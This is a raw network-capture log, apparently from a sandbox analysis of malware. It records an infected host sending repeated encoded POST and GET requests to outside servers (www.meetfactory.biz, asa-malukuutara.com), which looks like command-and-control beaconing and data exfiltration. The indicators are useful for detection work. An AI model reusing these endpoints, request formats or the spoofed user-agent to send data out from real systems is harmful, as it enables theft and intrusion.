33 4c 78 52 61 63 59 44 5a 31 77 2b 4c 4c 36 7a 76 43 73 51 4b 74 58 45 45 4a 48 65 66 4d 47 79 58 30 77 4a 4d 68 62 4a 2f [TRUNCATED] Data Ascii: ij60MtY=k3lrS/T5T2y612LLWhrk01SINx5hWq/JTa4nvOe0lqDP1zsXAS2Ruux5BlnCghWOhEbpTMWtFZXL5x/EKuN16wV/4EKXtXAuvJYp4876nP7I1Tu2VMbEgLuj+VfWJxHczaHJB6SVVfIdph5+m/cidTYrIiYt+JKqlt5ZSavt1SZSyZVCBK2R7mPjITjyGaIuNkHCWVPupftrsIVmiw6zbXYOCLbzDwHYmt6KCUAatVyysi/pFEOWU2GYMMgGHQptuts7pdxTLAKziBPf8aOYJZKED6ilvkVJ23LxRacYDZ1w+LL6zvCsQKtXEEJHefMGyX0wJMhbJ/3YyhmYELaT8SliHN42/y9SZT2r5kUyQoKJVEP6l7ByNZtN/dqIuUswXG+3UjzKqG7WiIaKA+cqM1bSwqaiSjOgUy8pr82qiS8McNjnUoKjE+f+d8CbxHv/ckqcOhCEcrIjDg48TQ+7KqmheNW5lfY83BooLP5DBG2v28l1SNQNpTFFnwyKRusxTZZCm151Tjh/nkAiKr5812UkaenMud1ARxWZlXeEnqFIE42eXR55cLW++m5NiT6xwxElCiWnNlczAgMgVtLlpYEzhNr5f8et+3cefPgMYr6VBK5EPodiAahri0+Dwc934bjgQvjJ
Aug 27, 2024 08:03:18.996284008 CEST	7734	OUT	Data Raw: 62 55 32 77 79 45 38 41 41 50 72 59 48 64 58 4e 49 6c 34 73 6e 4c 2b 7a 50 76 58 47 32 78 69 33 6d 39 58 75 42 48 59 44 52 6a 48 52 58 34 6d 37 30 6f 36 78 58 69 4e 59 2b 47 77 64 38 42 4e 66 46 2f 69 6c 67 77 31 72 74 4d 69 49 65 42 75 4a 55 50 Data Ascii: bU2wyE8AAPrYHdXNIl4snL+zPvXG2xi3m9XuBHYDRjHRX4m70o6xXiNY+Gwd8BNfF/ilgw1rtMiIeBuJUPIxBiYh/IESgERhv+ENq7ALg/Tnxq9WZBuNjHkadWTsGjuR3wJU6oZVeMJoDuoKOodiIi/+rHkxTl8eVd13CM84R6TjX3w/PKacgUntRli2gNXHsB2tmddwqaC6ri442VU5XhoQOsgCruOtDE1Gg09YCX7dsCihxfV
Aug 27, 2024 08:03:18.996309042 CEST	3867	OUT	Data Raw: 69 72 76 6b 43 58 52 75 5a 47 52 63 70 46 33 75 78 4d 2b 2b 44 51 79 78 4e 6b 65 44 6c 32 58 55 31 4b 58 53 61 6b 43 66 62 6e 66 49 79 4c 54 67 68 75 30 50 5a 34 68 6e 63 76 65 5a 76 45 4d 54 4e 66 4a 6b 48 68 46 4f 35 43 54 43 77 71 6e 7a 2b 47 Data Ascii: irvkCXRuZGRcpF3uxM++DQyxNkeDl2XU1KXSakCfbnfIyLTghu0PZ4hncveZvEMTNfJkHhFO5CTCwqnz+Gchg6PhjG79lAx24LExzXPD3lRiRnCZtEm3e64mBwEKIrbVE95fjZuE3Dssrkr99ladSnyGQVkSE69MqyQMa4ck/lplritsZwRxhnTp44KfJ7ffYRLT+sqpa17cH/3Q3ZJlEid9UIIJ9BYo1Pcy3QXo5kKJGSMtCcW
Aug 27, 2024 08:03:19.345694065 CEST	2578	OUT	Data Raw: 45 6f 4a 38 72 32 76 69 65 5a 70 73 75 45 6f 48 33 38 4d 4f 58 67 61 79 44 33 54 4b 31 43 52 6c 6b 38 56 48 43 6f 65 45 42 6e 61 4a 55 2f 64 2f 6c 59 43 73 47 52 71 75 30 50 6b 72 61 54 33 67 68 6d 54 6a 2b 79 37 75 6b 50 64 4b 4f 78 47 64 45 54 Data Ascii: EoJ8r2vieZpsuEoH38MOXgayD3TK1CRlk8VHCoeEBnaJU/d/lYCsGRqu0PkraT3ghmTj+y7ukPdKOxGdETZHwMR60ARKUytHB+Hfp4MlM6+zj81pEZloqg3mioKAyHjQXHkADTF0mfnybDtfUROxpuSu/O1FWCsDZKk09FAd7a8xbXrsrZmGE5fQNNO/hJNGEkHAmTN0pZY6bPYGFdBsfi/FHE6BoxgZCKv+LuqxD/aQDALA5u6
Aug 27, 2024 08:03:19.345861912 CEST	19335	OUT	Data Raw: 4f 4a 73 41 50 61 79 35 32 67 49 54 77 2b 74 45 33 30 4e 4e 58 68 63 77 35 74 4f 38 44 47 73 4e 37 79 79 48 6f 4d 67 75 36 61 44 64 42 77 55 41 6a 6b 75 6f 6c 37 68 41 68 74 66 35 62 35 34 37 47 4b 52 35 5a 31 6d 72 64 50 68 59 68 4a 37 71 42 66 Data Ascii: OJsAPay52gITw+tE30NNXhcw5tO8DGsN7yyHoMgu6aDdBwUAjkuol7hAhtf5b547GKR5Z1mrdPhYhJ7qBfnNV1MJpBnhWjrdOsRJRtvPHA6MhDN9t5Wr1VVjQPmxA0beJg7GzvO0H1pBoSK1Nlc7xBt+6J7C1r+yMT91/65ck7MU0Rf9NlOO2Fg6Cg9wRwbV5Z0xHHDbPpGJ6gPy+LWdGsbM3w5o1DIPUgf32p4sb+JssBynBzq
Aug 27, 2024 08:03:19.346015930 CEST	3867	OUT	Data Raw: 72 70 49 64 71 4f 63 5a 67 47 57 34 78 43 32 71 4a 37 42 64 74 54 58 58 56 63 69 4e 50 4c 73 33 51 49 4f 65 6c 47 47 37 6d 48 65 54 73 46 58 33 39 4c 70 49 67 6f 75 36 74 7a 68 39 2f 72 45 71 44 62 4d 49 35 4f 35 6d 64 6c 77 48 6d 34 6a 70 55 73 Data Ascii: rpIdqOcZgGW4xC2qJ7BdtTXXVciNPLs3QIOelGG7mHeTsFX39LpIgou6tzh9/rEqDbMI5O5mdlwHm4jpUs0Dy9lbrtR1hgC0ktqWJH/t6F5x5qVbeDdL3Y1Wqdjn3hkxFNmV7N4A+O3c5KpTBlnHtoqfS8V0QJjbGcYYXtwdGh6bhnEgqlx5NQKBq5gxlsbjcnEPOdWQrfDCNmq0na92wBR7z4WcOJveovtsuc95h5noDTBhImP
Aug 27, 2024 08:03:19.694839001 CEST	2578	OUT	Data Raw: 7a 39 53 44 75 39 6e 79 71 71 61 45 47 6a 73 43 57 2f 2f 71 66 36 32 6e 50 66 4c 4b 6c 34 63 68 4c 42 68 6c 73 64 76 48 34 54 73 75 50 31 32 64 4a 47 4e 66 6d 70 61 46 69 34 72 48 49 56 4e 46 47 4c 6b 46 46 70 37 37 57 42 4d 41 7a 34 76 4e 44 47 Data Ascii: z9SDu9nyqqaEGjsCW//qf62nPfLKl4chLBhlsdvH4TsuP12dJGNfmpaFi4rHIVNFGLkFFp77WBMAz4vNDG4GGfS+ivTfLnfqyaGP2b1R8ZwhBDtuozp5iA9nJRTjrTOPsn5DlD3Y6zGIXV6SPesODbQOt5E0iI8kO3D0mHcWKxds/P1cIryFdwJ/U4h3ptV++Dv4ICygMX/Z9BYQjJs4BYIfZRY5ANafVOCjYHi1yCdb5jB7f0+
Aug 27, 2024 08:03:19.695019960 CEST	9023	OUT	Data Raw: 54 42 73 31 4a 6f 5a 78 64 7a 2b 51 41 50 77 55 32 66 36 44 78 5a 48 64 32 61 7a 6b 44 71 6e 56 37 43 76 4b 35 33 76 63 65 77 4e 68 57 78 49 6c 6d 34 73 38 6e 56 6c 42 76 71 68 63 38 44 2f 74 45 71 56 36 6c 67 58 6b 38 32 4a 4c 32 78 6e 76 39 35 Data Ascii: TBs1JoZxdz+QAPwU2f6DxZHd2azkDqnV7CvK53vcewNhWxIlm4s8nVlBvqhc8D/tEqV6lgXk82JL2xnv95zd1pATpoJcOHS+yVRkN246awEcyEjPDdzPlmIG5hAPqvn4auNQSiCExk1si03cufNXPXOJG0uADgQSDFDoX69qQRrn/t5Fff8JIZIMgXOMgndpT/P+7V+giJzXB5wL0kE8FbARpIF3BVNP0xN8qhIf3n1kRuTkvgj
Aug 27, 2024 08:03:19.695128918 CEST	3300	OUT	Data Raw: 48 34 68 6c 59 38 45 6b 6b 5a 6a 69 73 5a 42 4e 54 6b 58 54 6b 46 43 4c 63 4c 6f 58 67 7a 43 72 4b 72 63 7a 58 53 6b 35 67 50 2b 58 6d 39 4f 57 37 50 51 6f 62 68 6b 32 51 62 4d 63 35 72 6c 41 36 33 75 4d 6e 33 5a 70 6e 47 70 46 59 42 73 56 34 6e Data Ascii: H4hlY8EkkZjisZBNTkXTkFCLcLoXgzCrKrczXSk5gP+Xm9OW7PQobhk2QbMc5rlA63uMn3ZpnGpFYBsV4nirAyQTbhleawdAISx2yXtva/+2A2BbBzT888t6yueTLSQjOx37LVoJyqq8GKwXbEmNhIWbG8lqyf4wICZriPpWB/AX1vJDekTda6vN0pyHoT4IqWInyo9ogBmwwL5/Bw508p6sRhpKB/PdIKd4sHZfgNIJt7hw2ss
Aug 27, 2024 08:03:20.251723051 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:03:19 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N
Aug 27, 2024 08:03:20.251852989 CEST	1289	IN	Data Raw: b4 fa 6e 9b 21 3c 61 29 88 9c bf fb 16 2a c6 88 ad d0 ac 3f d0 b5 6a 0d ba aa c4 fc cd fb 2d fc ab b7 af da ea 22 53 1f eb 7e d0 37 37 aa 43 0a cf 71 71 e1 ae 06 8b 7e 29 d3 a3 5f b7 db e6 3f be 2f ac 51 a0 72 5d 96 48 38 2e 8c a2 90 a0 d2 3c 05 Data Ascii: n!<a)?j-"S~77Cqq~)_?/Qr]H8.<a[^n\|"nVo-%u}+I_&t\|? Wsp;kT8'z"t8y\|UZ\|K+M<kVS9F`_QqZ
Aug 27, 2024 08:03:20.251940966 CEST	1289	IN	Data Raw: 2c 40 4a 57 cf 03 75 e0 af 74 09 15 aa 70 f7 f9 74 de 2a e7 a9 24 d0 35 12 dd af 4d 31 22 dc d6 56 44 7b 53 b2 02 ee bd f6 c1 e2 8b 10 6c 19 b1 34 8f 4f 39 e3 d1 b2 4d 58 1a 45 f4 f0 59 40 30 29 52 5c 98 a5 70 7a 6d f7 39 e3 f1 49 b0 2c ca fe 10 Data Ascii: ,@JWutpt$5M1"VD{Sl4O9MXEY@0)R\pzm9I,m2.=2hmbO7:ekX,K/K9\|WcE,x"9A^So'9/?S~r}O+]-J""!dCwt%kwBvJo.cp=1i

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49899	103.247.8.53	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:21.877654076 CEST	553	OUT	GET /21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:03:22.332128048 CEST	518	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 06:03:22 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://asa-malukuutara.com/21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49900	96.126.123.244	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:35.633765936 CEST	823	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4d 67 4c 56 53 62 4e 55 74 42 64 75 63 59 56 55 51 64 49 78 42 51 42 6b 6c 55 49 78 54 36 64 66 63 34 52 30 6b 69 4c 33 67 6b 52 4f 6f 4c 64 74 71 57 6c 55 6f 77 78 43 35 49 38 46 6c 41 4f 71 41 5a 75 37 53 32 37 52 58 49 46 65 66 6e 37 42 71 47 4c 48 4b 56 4b 62 6f 30 4c 7a 33 59 41 74 68 36 56 72 63 70 55 61 6d 70 33 35 37 41 79 45 38 53 64 48 42 64 6f 4f 79 69 39 36 54 74 73 6c 51 68 49 67 77 30 68 2f 31 4e 56 35 61 68 4f 6b 7a 54 70 35 44 77 75 5a 6c 43 79 36 74 6f 74 6a 6a 56 61 62 6f 46 53 6e 6c 6d 77 71 51 4c 33 61 66 75 79 4d 6b 67 3d 3d Data Ascii: ij60MtY=8FGBhUcVYFkEMgLVSbNUtBducYVUQdIxBQBklUIxT6dfc4R0kiL3gkROoLdtqWlUowxC5I8FlAOqAZu7S27RXIFefn7BqGLHKVKbo0Lz3YAth6VrcpUamp357AyE8SdHBdoOyi96TtslQhIgw0h/1NV5ahOkzTp5DwuZlCy6totjjVaboFSnlmwqQL3afuyMkg==
Aug 27, 2024 08:03:35.768976927 CEST	804	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 06:03:35 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 73 9b 30 10 bd f7 57 50 0e 99 76 a6 e6 c3 c4 c6 6e 20 9d d4 8d 89 09 b1 93 d4 09 36 97 8c 90 14 4b 0e 48 14 04 98 74 fa df 0b b8 13 d3 71 2f d5 01 69 97 dd b7 fb de 4a d6 fb 6f 8b c9 72 7d 7b 29 11 11 47 e7 ef ac 66 93 22 c0 36 b6 8c 99 7c fe 4e aa 97 45 30 40 fb 63 6b c6 58 00 09 12 90 66 58 d8 f2 c3 72 da 1b fd 89 3c fc 26 42 24 3d fc 23 a7 85 2d ef 7a 39 e8 41 1e 27 40 d0 30 c2 b2 04 39 13 98 d5 b9 b3 4b 1b a3 0d 3e ca 66 20 c6 b6 5c 50 5c 26 3c 15 9d 84 92 22 41 6c 84 0b 0a 71 af 35 3e 49 94 51 41 41 d4 cb 20 88 b0 ad 2b 5a 17 4e 50 11 e1 73 4b dd ef 2d 9d b6 49 c6 33 98 d2 44 1c 68 fd bb f7 14 3f a7 38 23 9d 16 b4 b3 3c 8d ec 86 df 67 55 2d cb d2 d4 94 18 63 f1 0c a0 e0 69 a5 84 f4 55 95 25 f5 80 6b a9 c7 b5 ac 56 c2 ae 46 c7 75 06 ff 51 c7 52 0f 23 b2 42 8e 2a 89 b3 88 03 64 cb 88 3f ed 8f 1f 3e 76 65 d9 93 97 44 95 d4 3a 0b bc 13 ea 16 14 60 ef ed c4 35 9a 3c e7 0c 0a ca 99 d4 81 92 7e be 29 d9 84 34 ab a4 0c f1 52 11 3c 51 22 0e eb 49 73 [TRUNCATED] Data Ascii: 264SMs0WPvn 6KHtq/iJor}{)Gf"6\|NE0@ckXfXr<&B$=#-z9A'@09K>f \P\&<"Alq5>IQAA +ZNPsK-I3Dh?8#<gU-ciU%kVFuQR#Bd?>veD:`5<~)4R<Q"IsdKA#/OYslhMP3.N@l\:_^P?%W.l8Zqr#H}b=VkM07U'<Wwm<#G<gZBgS3H6';fDEH_p$?Hd:MxqE8y>N+4qL>g^cz,{-&W)-0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49901	96.126.123.244	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:38.305671930 CEST	1163	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4e 42 37 56 52 34 56 55 71 68 64 74 54 34 56 55 5a 39 49 39 42 51 4e 6b 6c 56 4e 38 54 73 31 66 64 63 56 30 6c 6a 4c 33 74 45 52 4f 67 72 64 6f 75 57 6b 35 6f 77 39 38 35 49 41 46 6c 41 79 71 53 63 69 37 54 47 37 51 64 6f 46 52 59 6e 37 4d 38 32 4c 64 4b 55 33 77 6f 31 76 7a 33 75 30 74 69 38 35 72 62 34 55 5a 68 4a 33 33 76 77 79 48 33 79 64 4a 42 64 73 73 79 6a 56 41 53 66 77 6c 54 46 30 67 68 45 68 38 2f 39 56 30 56 42 50 54 79 7a 63 4e 61 6a 71 36 73 78 61 48 72 4a 52 44 2b 45 4b 67 70 48 6d 65 39 6e 4d 30 52 2f 47 78 4b 39 7a 64 36 66 37 31 36 72 54 4b 66 61 76 75 54 56 55 32 32 38 62 59 53 4d 6f 6c 38 39 62 63 43 52 77 38 70 74 51 4a 49 33 34 69 37 65 6d 6f 65 74 74 33 33 58 53 76 46 6d 5a 32 75 45 38 4a 7a 6d 2f 33 4c 31 55 64 4b 36 46 33 4d 48 37 74 51 4e 72 67 42 71 4c 67 47 46 72 4e 47 56 58 78 32 74 6f 39 73 2b 4c 73 77 75 4a 71 50 6f 56 32 42 39 67 67 63 49 50 5a 64 56 34 66 53 37 34 79 70 56 65 69 4d 7a 33 75 2f 50 6c 6b 4b 43 [TRUNCATED] Data Ascii: ij60MtY=8FGBhUcVYFkENB7VR4VUqhdtT4VUZ9I9BQNklVN8Ts1fdcV0ljL3tEROgrdouWk5ow985IAFlAyqSci7TG7QdoFRYn7M82LdKU3wo1vz3u0ti85rb4UZhJ33vwyH3ydJBdssyjVASfwlTF0ghEh8/9V0VBPTyzcNajq6sxaHrJRD+EKgpHme9nM0R/GxK9zd6f716rTKfavuTVU228bYSMol89bcCRw8ptQJI34i7emoett33XSvFmZ2uE8Jzm/3L1UdK6F3MH7tQNrgBqLgGFrNGVXx2to9s+LswuJqPoV2B9ggcIPZdV4fS74ypVeiMz3u/PlkKC+a4Xr4M7LU91pkjjUb0OK+rS/edroqXmilg6KDA0Mq1gTcRCkWT9NOTenqEsjoR2aYnp8qQid7PP5YhGvOWa98WdNpmB031qSB3LtYELnQBaMjPFJnSPD5laY5lYNSx6W7fPbdqro7vf17DWZuJ5VZ/f+DI9XGANxW2AiTkpPuTq5VQhRXqsVE8LdT9TPHKY/7rQYFcwJ8zWI=
Aug 27, 2024 08:03:38.441900969 CEST	804	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 06:03:38 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 e6 33 0e 76 03 e9 a4 6e 4c 4c 88 9d a4 4e b0 7d c9 08 49 b1 e4 80 44 40 80 49 a7 ff bd 80 3b 31 1d f7 52 1d 90 76 d9 7d bb ef ad 64 7f f8 3e 1b cd 97 b7 97 12 11 71 74 7e 64 37 9b 14 01 b6 76 64 cc e4 f3 23 a9 5e 36 c1 00 ed 8e ad 19 63 01 24 48 40 9a 61 e1 c8 0f f3 71 6f f0 27 72 ff 9b 08 91 f4 f0 6b 4e 0b 47 de f6 72 d0 83 3c 4e 80 a0 61 84 65 09 72 26 30 ab 73 27 97 0e 46 6b 7c 90 cd 40 8c 1d b9 a0 b8 4c 78 2a 3a 09 25 45 82 38 08 17 14 e2 5e 6b 7c 96 28 a3 82 82 a8 97 41 10 61 47 57 b4 2e 9c a0 22 c2 e7 b6 ba db 5b 3a 6d 93 8c 67 30 a5 89 d8 d3 fa 77 ef 29 7e 4e 71 46 3a 2d 68 67 79 1a 39 0d bf 2f aa 5a 96 a5 a5 29 31 c6 e2 19 40 c1 d3 4a 09 e9 9b 2a 4b ea 1e d7 56 0f 6b d9 ad 84 5d 8d 0e eb f4 ff a3 8e ad ee 47 64 87 1c 55 12 67 11 07 c8 91 11 7f da 1d 3f 7e ea ca b2 23 2f 89 2a a9 75 16 78 2b d4 0d 28 c0 ce db 89 6b 34 79 ce 19 14 94 33 a9 03 25 fd 7c 57 b2 09 69 56 49 19 e2 a5 22 78 a2 44 1c d6 93 e6 4c [TRUNCATED] Data Ascii: 264SMs0WPv3vnLLN}ID@I;1Rv}d>qt~d7vd#^6c$H@aqo'rkNGr<Naer&0s'Fk\|@Lx:%E8^k\|(AaGW."[:mg0w)~NqF:-hgy9/Z)1@JKVk]GdUg?~#/*ux+(k4y3%\|WiVI"xDL!5+XRq[_o9eXT(fj64\>t9t1(WsH].<d4im?A<Djq/^aq>~5x4k zdi5s$$"m`J!AiVP 61[?Flo(_wb Br7wV7VkR?x}b0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49902	96.126.123.244	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:40.983166933 CEST	2578	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4e 42 37 56 52 34 56 55 71 68 64 74 54 34 56 55 5a 39 49 39 42 51 4e 6b 6c 56 4e 38 54 73 39 66 64 70 42 30 6b 41 7a 33 73 45 52 4f 75 4c 64 70 75 57 6c 37 6f 78 56 77 35 49 4e 77 6c 46 32 71 53 72 6d 37 55 30 6a 51 59 6f 46 63 57 48 37 43 71 47 4b 45 4b 56 4b 70 6f 78 2f 4e 33 63 55 74 68 2b 52 72 63 4c 38 61 72 35 33 35 76 77 79 4c 7a 79 63 6a 42 64 67 38 79 6a 5a 41 53 63 55 6c 52 33 4d 67 78 46 68 38 32 4e 56 31 63 68 50 6d 39 54 64 31 61 6a 2b 75 73 78 61 39 72 49 56 44 2b 48 79 67 6f 47 6d 5a 36 48 4d 30 5a 66 47 79 62 74 2f 5a 36 66 6e 54 36 75 76 4b 66 62 4c 75 53 31 55 32 38 39 62 62 51 73 6f 6a 34 39 62 74 47 52 4d 6b 70 70 34 64 49 7a 6f 69 37 4f 79 6f 63 63 74 33 6b 32 53 76 4d 6d 5a 77 67 6b 38 61 6c 57 2f 72 4c 31 45 42 4b 37 6c 6e 4d 48 50 74 51 74 4c 67 4b 6f 76 6e 57 31 71 47 4e 31 57 72 67 64 30 4c 73 2b 37 67 77 75 4a 36 50 71 6c 32 43 4e 51 67 62 4d 54 57 51 6c 34 59 47 4c 35 79 6e 31 53 34 4d 77 44 6d 2f 50 39 30 4b 44 [TRUNCATED] Data Ascii: ij60MtY=8FGBhUcVYFkENB7VR4VUqhdtT4VUZ9I9BQNklVN8Ts9fdpB0kAz3sEROuLdpuWl7oxVw5INwlF2qSrm7U0jQYoFcWH7CqGKEKVKpox/N3cUth+RrcL8ar535vwyLzycjBdg8yjZAScUlR3MgxFh82NV1chPm9Td1aj+usxa9rIVD+HygoGmZ6HM0ZfGybt/Z6fnT6uvKfbLuS1U289bbQsoj49btGRMkpp4dIzoi7Oyocct3k2SvMmZwgk8alW/rL1EBK7lnMHPtQtLgKovnW1qGN1Wrgd0Ls+7gwuJ6Pql2CNQgbMTWQl4YGL5yn1S4MwDm/P90KDqaqHr4IYjXvlpntzUJ6uKprS6/dokQXyaljuqDFkMrxATYYikQENNOTerUEsnoRHiYo5sqbSh7JP5ehGvbWahxWdFXmCt/1oeB3adYBKnTK6M6LFJwPfO/laELlYcnxNm7eLHduro45v14AWZ8N5YA/fy5I9TWAOxWznXx7Y73IZNFdhp6uNIW25Vpsy/WGeDA0hcxFxpWuCMhv3eQHjsokQXttdlqCmcbbix1Wzc1zUdVQ3bzgROnsCjC9ax8OHWC2eLitogRdl7T4GT6fcKl9XuVQOiGwHfZ3Od2c8Eug0lZdfv+GyNWdKm32Onfn3s1zw+0KVRfL6p+Y4uOzhCOwTN135cry/SkCGmJe3vJVgYDs4uBGF8SPP1Q6d6VXeCd0cyWOfSLvN83VPDWGRtEpMAzVK+xW+cre8UTiD8nBkl/k9Rsd3V87j37Z1djhZrU8/FKGPv1b+BnxABiwFtrjH5zdopaZLr+wsmFiiGOoTYwcpi2Ag5LA1cCZlTQzoFqFaaXZ48rEr6kDXa6bAUQW6o+hjSlEStYJd8wpyGKZe5rbPmoldPPg+Vk2h+AZGfiRhti2nMsMkExmwEwVkCChg42p/iE8GvGJZ1ER1qYoZRJx1btJtA2qavkaqwP1695RteoT6lbSIEbOjYv9hzxxYgtQyjWUqdo [TRUNCATED]
